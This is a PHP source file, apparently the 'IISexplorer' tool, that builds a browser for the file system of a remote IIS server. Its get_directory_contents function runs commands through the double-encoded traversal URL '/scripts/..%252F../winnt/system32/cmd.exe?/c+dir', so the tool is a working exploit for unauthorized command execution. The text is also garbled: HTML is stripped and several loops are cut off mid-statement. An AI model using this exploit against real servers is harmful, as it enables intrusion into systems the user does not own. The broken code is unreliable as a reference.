\n". "http://Spoor12.edup.tudelft.nl/SkyLined\n". "\n". "This program is free software; you can redistribute it and/or\n". "modify it under the terms of the GNU General Public License\n". "version 2, 1991 as published by the Free Software Foundation.\n". "\n". "This program is distributed in the hope that it will be useful,\n". "but WITHOUT ANY WARRANTY; without even the implied warranty of\n". "MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n". "GNU General Public License for more details.\n". "\n". "A copy of the GNU General Public License can be found at:\n". " http://www.gnu.org/licenses/gpl.html\n". "or you can write to:\n". " Free Software Foundation, Inc.\n". " 59 Temple Place - Suite 330\n". " Boston, MA 02111-1307\n". " USA.\n". "-----------------------------------------------------------------------\n"; //--- initialise global variables --------------------------------------------- global $link_header; $link_header = $_SERVER['PHP_SELF']; global $path_root; $path_root = ''; global $path_open; $path_open = ''; global $hostname; $hostname = ''; $i_am_tree = false; $i_am_list = false; //--- read parameters --------------------------------------------------------- $parameters = explode('&', $argv[0]); for ($i=0; $iHost not specifiedPlease use "../IISexplorer.php?host=ip or hostname."'); } elseif (!$i_am_tree && $i_am_list) { echo create_header().wrap_body(create_list($path_open)); } elseif ($i_am_tree && !$i_am_list) { echo create_header().wrap_body(create_tree(false, '', $path_root, true)); } else { echo wrap_rem($copyright); if (!$i_am_tree && !$i_am_list) { echo ''. ''. ''. ''; } else { echo wrap_body("

Illegal command line option

IISexplorer can't be tree and list at the same time."); } } //----------------------------------------------------------------------------- //--- list creating function -------------------------------------------------- function create_list($path) { global $hostname, $path_root, $path_open; $result = ''. ''; $total_size = 0; list($success, $dirs, $files) = get_directory_contents($path); if ($success) { if (count($dirs)>0) { sort($dirs); for ($i=0; $i<DIR>'; } } if (count($files)>0) { sort($files); for ($i=0; $i'. ''.$result.'
'. '
'. '
'. ''.count($dirs).' '.one_or_many(count($dirs), 'directory', 'directories').', '. ''.count($files).' '.one_or_many(count($files), 'file', 'files').', '. '
'. ''; /* '
'. '
'. 'To upload a file click '. ''. ' and select a file, then click '. ''. ' to upload the file.'. ''. 'disk space used: '.readable_size($total_size).', '. 'free disk space: '.readable_size(disk_free_space('./'.$path_open)).'.'. ''. '
'.(100-$disk_free_percentage).'% used'. ''.$disk_free_percentage.'% free'. '
'. */ return $result; } //----------------------------------------------------------------------------- //--- tree creating function -------------------------------------------------- function create_tree($show_header, $header, $path, $last_entrie) { $result = ($show_header ? $header.create_icon('tree'.($last_entrie ? '_last' : '')) : ''). create_icon('folder_error').last_part($path).'
'; list($success, $dirs, $files) = get_directory_contents($path); if ($success) { $icon1 = 'tree'.($last_entrie ? '_last' : ''); if (count($dirs)>0) $icon1 .= '_branched'. (is_open($path) ? '_open' : '_closed'); $icon2 = 'tree'.($last_entrie ? '_empty' : '_straight'); if ($show_header) { $ownheader = $header.create_icon($icon1); $subheader = $header.create_icon($icon2); } else { $ownheader = ''; $subheader = ''; } $result = show_dir($ownheader, $path)."
"; if (count($dirs)>0 && is_open($path)) { sort($dirs); for ($i=0; $i'; } function wrap_rem($innerHTML) { return ''; } function wrap_body($innerHTML) { return ''.$innerHTML.''; } function wrap_class($class, $innerHTML) { return ''.$innerHTML.''; } function wrap_A($target, $href, $innerHTML) { return ''.$innerHTML.''; } function create_icon($icon) { return ''; } function create_phpexplorer_url($path) { global $hostname, $path_root; return '?host='.$hostname.'&root='.$path_root.'&open='.$path; } function find_icon($path) { $file_array = explode('.', $path); switch ($file_array[count($file_array)-1]) { case "jpg" : $icon = 'file_image'; break; case "gif" : $icon = 'file_image'; break; case "png" : $icon = 'file_image'; break; case "doc" : $icon = 'file_document'; break; case "txt" : $icon = 'file_text'; break; case "xls" : $icon = 'file_excell'; break; case "html" : $icon = 'ie'; break; case "htm" : $icon = 'ie'; break; case "php" : $icon = 'ie'; break; case "link" : $icon = 'folder_link'; $link = implode('', file($path)); break; default : $icon = 'file'; break; } return $icon; } function readable_size($size) { $size2 = 'bytes'; if ($size >= 1024*1024*1024) { $size = eregi_replace("([0-9]\.[0-9])[0-9]*", "\\1", $size/(1024*1024*1024)); $size2 = 'Gb'; } elseif ($size >= 1024*1024) { $size = eregi_replace("([0-9]\.[0-9])[0-9]*", "\\1", $size/(1024*1024)); $size2 = 'Mb'; } elseif ($size >= 1024) { $size = eregi_replace("([0-9]\.[0-9])[0-9]*", "\\1", $size/(1024)); $size2 = 'Kb'; } return $size.' '.$size2; } function one_or_many($count, $one, $many) { return ($count==1 ? $one : $many); } function get_directory_contents($path) { global $hostname; $result = false; $temp = urlencode('..\\..'.(substr($path, 0, 1) == '\\' ? '' : '\\').str_replace('/', '\\', $path)); $command = 'http://'.$hostname.'/scripts/..%252F../winnt/system32/cmd.exe?/c+dir+/A+/-C+/X+'.$temp; if (($directory_handle = fopen($command, 'r')) !== false) { if (($temp = fgets($directory_handle, 1024)) !== false) { // 1st line: " Directory of x:\xxxxx" $result = (substr($temp, 0, 14) == ' Directory of '); while (($temp = fgets($directory_handle, 1024)) !== false) { // "dd/mm/yyyy hh:mma xxxxx FILENAME.EXT LONGFILENAME..." // "0.10...... 12.6.. 19.19.............. 39.12....... 55.X..........." if (strlen($temp) > 55) { // 2nd line: "" // 1st to last: " xxxxx File(s) xxxxx bytes" // last line: " xxxxx Dir(s) xxxxx bytes free" $date = substr($temp, 0, 10); $time = substr($temp, 12, 6); $size = trim(substr($temp, 19, 19)); $dosname = trim(substr($temp, 39, 12)); $fullname = trim(substr($temp, 55)); $name = ($dosname == '' ? $fullname : $dosname); if (substr($name, 0, 1) != '.') { if ($size == '') { $dirs[] = make_valid_path($path.'/'.$name); } else { $files[] = make_valid_path($path.'/'.$name); } } } } } fclose($directory_handle); } return array($result, $dirs, $files); } ?>